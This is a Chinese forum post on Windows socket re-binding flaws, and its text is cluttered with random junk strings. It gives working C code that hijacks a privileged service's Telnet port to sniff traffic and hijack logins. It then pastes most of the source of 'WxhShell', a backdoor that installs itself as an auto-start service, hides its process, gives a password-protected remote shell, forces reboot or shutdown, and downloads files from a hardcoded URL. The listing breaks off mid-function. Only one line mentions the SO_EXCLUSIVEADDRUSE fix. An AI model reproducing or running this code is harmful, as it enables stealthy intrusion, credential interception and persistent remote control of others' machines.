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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: np`g cj#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F;?TR[4!k  
(EOec5qXU  
  saddr.sin_family = AF_INET; ,NaV [ "9$  
n~"g'Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  EbBv}9g  
u,Q_WR-wJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nj~$%vmA  
pu2wEQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,);= (r9  
u-%r~ }  
  这意味着什么?意味着可以进行如下的攻击: f\x@ C)E  
=e-a&Ep-z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ersr\ZB  
(s V]UGrZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j#LV7@H.e?  
D y`W5_xSz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B7Ki @)  
]|C_`,ux  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1*!c X  
dr,B\.|jC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D% v:PYf  
FhY{;-W(T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]Efh(Gb]  
+?"HTDBE||  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #|{BGVp  
Q QsVIHA  
  #include wL8bs- U  
  #include (1kn):  
  #include 'uP'P#  
  #include    (opROsFh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .KiPNTh'  
  int main() B%%.@[o,  
  { <?> I\  
  WORD wVersionRequested; ny!lj a5[  
  DWORD ret; SQdz EF  
  WSADATA wsaData; z`86-Ov  
  BOOL val; X \b}jo^96  
  SOCKADDR_IN saddr; a<57(Sf  
  SOCKADDR_IN scaddr; @MN}^umx`  
  int err; ;e#>n!<u  
  SOCKET s; *tTP8ZCQ[  
  SOCKET sc; u=d`j  
  int caddsize; v5&xY2RI7  
  HANDLE mt; lgCHGv2@  
  DWORD tid;   D+ah ok  
  wVersionRequested = MAKEWORD( 2, 2 ); hb /8Q  
  err = WSAStartup( wVersionRequested, &wsaData ); h"VpQhi  
  if ( err != 0 ) { dAYI DE  
  printf("error!WSAStartup failed!\n"); Dh\S`nfFq  
  return -1; "B|nhd  
  } dxzvPgi?  
  saddr.sin_family = AF_INET; Ht`<XbQ>  
   7.7Cluh5,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %gV)arwK  
q;~R:}?@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F9m2C'U  
  saddr.sin_port = htons(23); Ur_ S [I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jsk:fh0~M  
  { ]6a/0rg:t  
  printf("error!socket failed!\n"); ^G|w8t+^  
  return -1; vO}qjw  
  } Ap F*a$),  
  val = TRUE; * ajFZI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {Ior.(D>Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~&wXXVK3  
  { E@5zd@[  
  printf("error!setsockopt failed!\n"); o :.~X  
  return -1; [5]R?bQ0q{  
  } 4&FNU)tt  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S_(&UeTC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |QnUK5D$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Qv&T E3  
#W>x\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q*HAIw[<y  
  { lEO?kn.:z  
  ret=GetLastError(); 0=N4O!X9  
  printf("error!bind failed!\n"); vbr~<JT=  
  return -1;  'P@=/  
  } ucQezmie  
  listen(s,2); G*)s%2c>h  
  while(1) zrLhQ3V#>  
  { *)j@G:  
  caddsize = sizeof(scaddr); (/T +Wpy?  
  //接受连接请求 XoDJzrL#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L/qZ ;{  
  if(sc!=INVALID_SOCKET) tpv?`(DDU  
  { oS[W*\7'!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2LCc  
  if(mt==NULL) Nb gp_:{  
  { $s e !8s"  
  printf("Thread Creat Failed!\n"); Y;fuh[#  
  break; A m2*-  
  } '4af ],  
  } hVlyEsLg  
  CloseHandle(mt); &E.OyqGZV  
  } euRCBzc  
  closesocket(s); /'-:=0a  
  WSACleanup(); 0^J*+  
  return 0; )vO_sIbnW  
  }   +V2C}NQ5R  
  DWORD WINAPI ClientThread(LPVOID lpParam) rDpe_varA  
  { f?2zLE>u  
  SOCKET ss = (SOCKET)lpParam; vg+r?4Q3  
  SOCKET sc; X tJswxw`K  
  unsigned char buf[4096]; ^OHZ767v  
  SOCKADDR_IN saddr; 'jh2**i 34  
  long num; zSEr4^Dk4  
  DWORD val; 8lMZ  
  DWORD ret; QH& %mr.S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qsI{ b<n  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   * zd.  
  saddr.sin_family = AF_INET; a^@+%?X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r`?&m3IOP  
  saddr.sin_port = htons(23); b0y-H/d/}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G!AICcP^  
  { WEno+Z~=1'  
  printf("error!socket failed!\n"); %0NLRfp  
  return -1; ;])I>BT[  
  } dz8-):  
  val = 100; Bfbl#ZkyL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jIKBgsiF/  
  { cYsR0#  
  ret = GetLastError(); @[n2dmj  
  return -1; gBMta+<fE~  
  } 7^c2e*S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kJ/+IGV^v  
  { eT;AAGql  
  ret = GetLastError(); 1UC2zM"  
  return -1; 6(:)otz  
  } *hV4[=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1oB$MQoc  
  { |p;4dL  
  printf("error!socket connect failed!\n"); fwRGT|":B  
  closesocket(sc); 0rV/qMo;K  
  closesocket(ss); *^n^nnCwp  
  return -1; :RPVT,O}  
  } ZmNZS0j  
  while(1) 4"LPJX)Q  
  { pMOD\J:l,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N[>:@h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "_t4F4z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X8 8F>1}  
  num = recv(ss,buf,4096,0); r i,2clp  
  if(num>0) \{kHSV%z  
  send(sc,buf,num,0); EH(tUwY%{  
  else if(num==0) FSv1X  
  break; cS4xe(n8  
  num = recv(sc,buf,4096,0);  1U  
  if(num>0) S<*';{5~  
  send(ss,buf,num,0); '=$TyiU  
  else if(num==0) MdLj,1_T  
  break; R j-jAH  
  } m^ z,,t9  
  closesocket(ss);  /; +oz  
  closesocket(sc); 5Lw{0uLr  
  return 0 ; 2ed@HJu  
  } Ec+22X  
?.8<-  
DQcWq'yY^  
========================================================== 0(\p<qq  
.hxin [Y  
下边附上一个代码,,WXhSHELL q{/*n]K  
X+@s]  
========================================================== =<Hy"4+?.  
ZHz^S)o\[s  
#include "stdafx.h" !TGr.R  
P?xA$_+  
#include <stdio.h> 6F,/w:  
#include <string.h> %z=`JhE"Q  
#include <windows.h> jn~!V!+ +  
#include <winsock2.h> %t q&  
#include <winsvc.h> Kf|0*c  
#include <urlmon.h> (s&ORoVGn  
g083J}08  
#pragma comment (lib, "Ws2_32.lib") ^mAJ[^%  
#pragma comment (lib, "urlmon.lib") Q Qi@>v|d  
V w7WK  
#define MAX_USER   100 // 最大客户端连接数 O /vWd "  
#define BUF_SOCK   200 // sock buffer %,XI]+d  
#define KEY_BUFF   255 // 输入 buffer ^+EMZFjg(  
QJQJR/g  
#define REBOOT     0   // 重启 D_Guc8*  
#define SHUTDOWN   1   // 关机 >cTjA):  
R^uc%onP  
#define DEF_PORT   5000 // 监听端口 \` &ej{  
Bf/ |{@  
#define REG_LEN     16   // 注册表键长度 gUspGsfr  
#define SVC_LEN     80   // NT服务名长度 N_0pO<<cs  
::ri3Tu  
// 从dll定义API O6/xPeak  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c+H)ed>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &u("|O)w$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xt\Dy   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QOd!]*W`?m  
'g2vX&=$A  
// wxhshell配置信息 s_TD4~ $  
struct WSCFG { XYMxG:  
  int ws_port;         // 监听端口 FQ1arUOFW,  
  char ws_passstr[REG_LEN]; // 口令 ghX:"vV{n  
  int ws_autoins;       // 安装标记, 1=yes 0=no $:(z}sYQ7  
  char ws_regname[REG_LEN]; // 注册表键名 o7J{+V  
  char ws_svcname[REG_LEN]; // 服务名 E_]k>bf\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Xh`"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 loLKm]yV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }Iip+URG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,2,W^HJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j|k @MfA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K0LbZMn,/  
:4U0I:J#  
}; 2?*||c==*  
X'jr|s^s  
// default Wxhshell configuration {-J:4*`  
struct WSCFG wscfg={DEF_PORT, ,b4g.CV  
    "xuhuanlingzhe", ?@>;/@  
    1, *CzCUu:%t  
    "Wxhshell",  ; HP#bx  
    "Wxhshell", 2p+C%"n>  
            "WxhShell Service", ^B|YO8.v  
    "Wrsky Windows CmdShell Service", >r=6A   
    "Please Input Your Password: ", 1!d)PK>1$  
  1, dok)Je  
  "http://www.wrsky.com/wxhshell.exe", $ 3]b>v  
  "Wxhshell.exe" tGC2 ^a#~  
    }; brfKd]i  
Ms,@t^nk  
// 消息定义模块 >J>>\Y(p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lAz2%s{6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P sp^@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .N!{ U  
char *msg_ws_ext="\n\rExit."; UTvs |[  
char *msg_ws_end="\n\rQuit."; b#A(*a_gN  
char *msg_ws_boot="\n\rReboot..."; Qne0kB5m  
char *msg_ws_poff="\n\rShutdown..."; IyOpju)?  
char *msg_ws_down="\n\rSave to "; IKo;9|2U  
UDM yyVd  
char *msg_ws_err="\n\rErr!"; 4j{oaey  
char *msg_ws_ok="\n\rOK!"; y #69|G  
<>n9'i1  
char ExeFile[MAX_PATH]; qrpb[)Ll  
int nUser = 0; f0u56I9  
HANDLE handles[MAX_USER]; 4 A5t*e  
int OsIsNt; Oi6Eo~\f  
5tMh/]IeS  
SERVICE_STATUS       serviceStatus; 5y040 N-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b9DR%hO:  
GY9y9HNZ  
// 函数声明 KXq_K:r?  
int Install(void); i+1Qf  
int Uninstall(void); .> wFztK  
int DownloadFile(char *sURL, SOCKET wsh); +v!v[qn  
int Boot(int flag); Hsgy'X%om  
void HideProc(void); TOrMXcn!/  
int GetOsVer(void); !VFem~'d  
int Wxhshell(SOCKET wsl); aiJnfU]W  
void TalkWithClient(void *cs); bs BZ E  
int CmdShell(SOCKET sock); Li]k7w?H  
int StartFromService(void); O2% `2h  
int StartWxhshell(LPSTR lpCmdLine); =q5@,wN^  
G0pBR]_5z$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TW2Z=ks=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x2@,9OUx  
$ o " L;j  
// 数据结构和表定义 SHwRX? B|  
SERVICE_TABLE_ENTRY DispatchTable[] = yjFe'  
{ WcU@~05b  
{wscfg.ws_svcname, NTServiceMain}, DFc [z"[  
{NULL, NULL} F3Dt7q  
}; ol<lCp  
~$Y|ca  
// 自我安装 GkciA{  
int Install(void) +aj^Cs1$  
{ ||XIWKF<n2  
  char svExeFile[MAX_PATH]; nEyI t&> 9  
  HKEY key; SY|Ez!tU:N  
  strcpy(svExeFile,ExeFile); uOre,AQR  
ik IzhUWE  
// 如果是win9x系统,修改注册表设为自启动 kZv*rWAm  
if(!OsIsNt) { =U c$D*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <wa(xDBw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `36N n+A  
  RegCloseKey(key); k2.G%]j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <6R"h-u"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R1/q3x  
  RegCloseKey(key); GG+5/hU  
  return 0; m!:.>y  
    } -bm,:Iy!  
  } v8~YR'T0`V  
} ]L8q  
else { ssA7Dx:  
l]) Q.m  
// 如果是NT以上系统,安装为系统服务 n/AW?'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e3g_At\  
if (schSCManager!=0) T .hb#oO  
{ 7*;^UqGjz  
  SC_HANDLE schService = CreateService C\A49q  
  ( ,T{oy:rB  
  schSCManager, a,cC!   
  wscfg.ws_svcname, ~&KX-AC@  
  wscfg.ws_svcdisp, sUbF Rq  
  SERVICE_ALL_ACCESS, }[v~&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2( _=SfQ  
  SERVICE_AUTO_START, -njQc:4W,-  
  SERVICE_ERROR_NORMAL, ;ctU&`  
  svExeFile, ;cLUnsB\  
  NULL, 6__K#r  
  NULL, GI_DhU]~)  
  NULL, :Y^I]`lR"  
  NULL, g z4UV/qr/  
  NULL d;44;*D  
  ); 1eD.:_t4  
  if (schService!=0) :<%vE!$  
  { @)b^^Fp  
  CloseServiceHandle(schService); ;(S|cm'>}  
  CloseServiceHandle(schSCManager); r.<JDdj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :Eo8v$W\RB  
  strcat(svExeFile,wscfg.ws_svcname); wS%zWdsz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 02pplDFsM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hfv%,,e  
  RegCloseKey(key); /WYh[XKe  
  return 0; dhtb?n{  
    } KuXkI;63J>  
  } {(Fe7,.S3  
  CloseServiceHandle(schSCManager); gc,Ps  
} lkwh'@s.  
} Up|f=@=  
c{4R*|^  
return 1; B6%&gXr\  
} w~LU\Ct  
J*K<FFp3<  
// 自我卸载 ?(D}5`Nfu  
int Uninstall(void) no|Gq>Xp  
{ &D*8l?A/1f  
  HKEY key; *<q4S(l  
Q.ukY@L.'  
if(!OsIsNt) { l#xw.2bo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q~O>a0f0  
  RegDeleteValue(key,wscfg.ws_regname); eEP( ).  
  RegCloseKey(key); FW Y[=S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >3P9 i ;W  
  RegDeleteValue(key,wscfg.ws_regname); +>#e=nH  
  RegCloseKey(key); L[]BzsIv  
  return 0; -_|]N/v\  
  } zo44^=~%  
} x8/us  
} h[Mdr  
else { =fWdk\Wv  
vi|Zit  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |_nC6 ;  
if (schSCManager!=0) +nQ!4  
{ <T4(H[9B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a.,i.2  
  if (schService!=0) G=cNzr9  
  { OoM_q/oI  
  if(DeleteService(schService)!=0) { c[:Wf<% |  
  CloseServiceHandle(schService); t:T?7-XIE  
  CloseServiceHandle(schSCManager); Nb1J ~v  
  return 0; oyW00]ka  
  } 4By]vd<;=  
  CloseServiceHandle(schService); u`6/I#q`  
  }  i6 L  
  CloseServiceHandle(schSCManager); F`srE6H  
} EneAX&SG  
} q,@+^aZ  
@\PpA9ebg%  
return 1;  qpTm  
} 5~U:@Tp  
xlw 2g<s  
// 从指定url下载文件 p8>R#9  
int DownloadFile(char *sURL, SOCKET wsh) (: OHyeNt  
{ N&x:K+Zm .  
  HRESULT hr; w_3xKnMT\  
char seps[]= "/"; g ;LVECk  
char *token; )!a$#"'  
char *file; ^aptLJF  
char myURL[MAX_PATH]; D'n7&Y  
char myFILE[MAX_PATH]; WW6yFriuW  
~S;!T  
strcpy(myURL,sURL); Lzz) n%y5  
  token=strtok(myURL,seps); waQtr,m)  
  while(token!=NULL) PkJcd->  
  { ?l 9=$'  
    file=token; u-39r^`5  
  token=strtok(NULL,seps); QkE,T0,/?h  
  } Ut_mrb+W  
nsl*Dm"*F  
GetCurrentDirectory(MAX_PATH,myFILE); 9A+M|;O  
strcat(myFILE, "\\"); 9GPb$ gtx  
strcat(myFILE, file); j{"[Ec  
  send(wsh,myFILE,strlen(myFILE),0); "Z~`e]>  
send(wsh,"...",3,0); Pw  xIz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o&,Y<$!:VH  
  if(hr==S_OK) R9vY:oN%  
return 0; Z(UD9wY5m  
else 4|F#gK5E  
return 1; 8 }z3CuM  
4 l1 i>_R  
} @G(xaU'u  
JCcQd 01z  
// 系统电源模块 {,Fcd(MU  
int Boot(int flag) r{Z[xWIX  
{ MHl^/e@  
  HANDLE hToken; c _mq  
  TOKEN_PRIVILEGES tkp; iokPmV  
HtUG#sc&`{  
  if(OsIsNt) { ,ey0:.!;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z{M8Yf |  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B@-"1m~la?  
    tkp.PrivilegeCount = 1; T`Ro)ORC#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (H1lqlVWV#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sX5sL  
if(flag==REBOOT) { IXJ6PpQLv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8nsZ+,@+[  
  return 0; ]738Z/)^  
} 3cHtf  
else { r w\D>} \  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {U6"]f%  
  return 0; [ro t  
} xx0k$Dqt2I  
  } |!xpYT:  
  else { KGQC't  
if(flag==REBOOT) { Xy!&^C` J`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RpAiU  
  return 0; C Oa.xyp  
} ^Xa*lR 3  
else { O%VA)<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'z-D%sCA  
  return 0; h"8QeX:((  
} VWD.J  
} CrO`=\  
]hKgA~;  
return 1; )2]a8JVf  
} RF!'K ko  
ZYDW v/u  
// win9x进程隐藏模块 ]<+3Vw  
void HideProc(void) e2bLkb3c  
{ %Zu Ll(  
_ .!aBy%xf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .<dOED{v  
  if ( hKernel != NULL ) /sV?JV[t  
  { @`Wt4<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6W:1>,xS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,02w@we5  
    FreeLibrary(hKernel); (JU_8j!  
  } W]@6=OpH  
)^";BVY  
return; (M8h y4Ex  
} B5 &YL  
Br&^09S  
// 获取操作系统版本 T*R{L  
int GetOsVer(void) ,S0UY):(A  
{ Vq U|kv  
  OSVERSIONINFO winfo; *.3y2m,bZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7O9n!aJ  
  GetVersionEx(&winfo);  ;b|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jOv~!7T  
  return 1; H@4/#V|Uy  
  else [n!x&f8Xh  
  return 0; m\?\6W k  
} E9L!)D]Y  
4]IKh,jT  
// 客户端句柄模块 k{1b20  
int Wxhshell(SOCKET wsl) aH  
{ kJ__:rS(T_  
  SOCKET wsh; hm6pxFkX_  
  struct sockaddr_in client; 'mUI-1GkT  
  DWORD myID; 4@mso+tk  
/L$NE$D} "  
  while(nUser<MAX_USER) r*]uR /Z$  
{ 8 #Fh>  
  int nSize=sizeof(client); vU{jda$$#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _6L H"o 3  
  if(wsh==INVALID_SOCKET) return 1; a-:pJE.'p  
716hpj#*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OiF]_"  
if(handles[nUser]==0) RJLFj  
  closesocket(wsh); A-;^~I  
else ^F&A6{9f/h  
  nUser++; 3@'lIV ?,q  
  } ^1Yo-T(R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uD[^K1Ag]^  
0H<4+ *`K  
  return 0; Z7oaQ\fR  
} jP7w6sk E  
wM0E%6 P  
// 关闭 socket &#Wkww&Y  
void CloseIt(SOCKET wsh) Bqp&2zg)@  
{ w0X$rl1  
closesocket(wsh); > R#9\/s  
nUser--; Stt* 1gT  
ExitThread(0); MorW\7-}  
} g/6nw a  
RRNH0-D1l  
// 客户端请求句柄 cT I,1U  
void TalkWithClient(void *cs) /XN*)m  
{ n-W?Z'H{r  
@T_O6TcY  
  SOCKET wsh=(SOCKET)cs; -C=]n<ak  
  char pwd[SVC_LEN]; K: 4P ;ApI  
  char cmd[KEY_BUFF]; p#z;cjfSt  
char chr[1]; r.9 $y/5  
int i,j; 8>m1UONr  
;}f6Y['z  
  while (nUser < MAX_USER) { o3fR3P%$  
gn364U a  
if(wscfg.ws_passstr) { @ E >eq.m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0T=jR{j!o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (%.</|u  
  //ZeroMemory(pwd,KEY_BUFF); EtJD'&  
      i=0; F-$Kv-f  
  while(i<SVC_LEN) { }~V,_Fv  
Xa>}4j.  
  // 设置超时 |fx#KNPf]  
  fd_set FdRead; f7S^yA[[  
  struct timeval TimeOut; yTP[,bM  
  FD_ZERO(&FdRead); D)h["z|F  
  FD_SET(wsh,&FdRead); 8dlInms  
  TimeOut.tv_sec=8; aK!xRnY  
  TimeOut.tv_usec=0; +B](5z4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "\}21B~{7'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]gEu.Nth`  
ipfm'aQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'H|;%J6d>  
  pwd=chr[0]; *TJ<  
  if(chr[0]==0xd || chr[0]==0xa) { q;IhLBl'  
  pwd=0; |HNQ|r_5S  
  break; p FXd4*  
  } ~T;K-9R  
  i++; X4XFu  
    } e W9)@nVJ  
~ >4@;  
  // 如果是非法用户,关闭 socket t&8<k+m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )Gx": D  
} 2n _T2{  
@ca#U-:g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W6)dUi :"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C5BzWgK  
G#^m<G^M  
while(1) { an pJAB:1  
7=L:m7T  
  ZeroMemory(cmd,KEY_BUFF); -`,~9y;tx  
C:WtCAm(  
      // 自动支持客户端 telnet标准   >aX:gN  
  j=0; SIj6.RK  
  while(j<KEY_BUFF) { iZsau2K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #/\pUK~km  
  cmd[j]=chr[0]; u!m,ilAnd  
  if(chr[0]==0xa || chr[0]==0xd) { PXOq#  
  cmd[j]=0; ?G2qlna  
  break; |zK!+fu  
  } lR|$*:+  
  j++; ;L#L Dk{Za  
    } 3- 4Nad  
k];L!Fj1  
  // 下载文件 u Eu6f  
  if(strstr(cmd,"http://")) { n$nne6|O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TJeou# =/  
  if(DownloadFile(cmd,wsh)) H9.oVF^~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aE%eJ)+K  
  else tU8g(ep,o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !E4E'I=]N  
  } Nck!z8  
  else { }G"r3*  
Q>cL?ie  
    switch(cmd[0]) { Xi1q]ps  
  50}.Xm@,BO  
  // 帮助 bjU 2UcI"<  
  case '?': { !&1}w86  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a15,'v$O  
    break; B]&Lh~Im  
  } f hVbJU  
  // 安装 ?{y:s!!  
  case 'i': { tf.q~@Pi  
    if(Install()) olUqBQ&ol  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #fJ/KYJU  
    else uzat."`d'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GGFar\ EzW  
    break; <=B1"'\  
    } o06A=4I  
  // 卸载 7I@9v=xV  
  case 'r': { AH"g^ gw~T  
    if(Uninstall()) XhJP87A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]1YYrgi7  
    else gOBj0P8s|}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;m2"cL>{l  
    break; }I` ku.@5  
    } J)#5 9a  
  // 显示 wxhshell 所在路径 xfbK eS8  
  case 'p': { bxPY'&  
    char svExeFile[MAX_PATH]; 6qz!M  
    strcpy(svExeFile,"\n\r"); ,f-T1v"  
      strcat(svExeFile,ExeFile); #QJ4o_  
        send(wsh,svExeFile,strlen(svExeFile),0); H]T2$'U6  
    break; R#[QoyJ  
    } ?15POY ?Z  
  // 重启 "jkw8UVz  
  case 'b': { QZ:]8MHl]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); < -@,  
    if(Boot(REBOOT)) nr<}Hc^f-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u&l>cJ'  
    else { *SMoodFBS  
    closesocket(wsh); b#/V;  
    ExitThread(0); 0+VncL)u  
    } 1@1+4P0NF[  
    break; U|y;b+n`  
    } 3:02`;3  
  // 关机 6T} CPDRq  
  case 'd': { 9.MGH2^ L?  
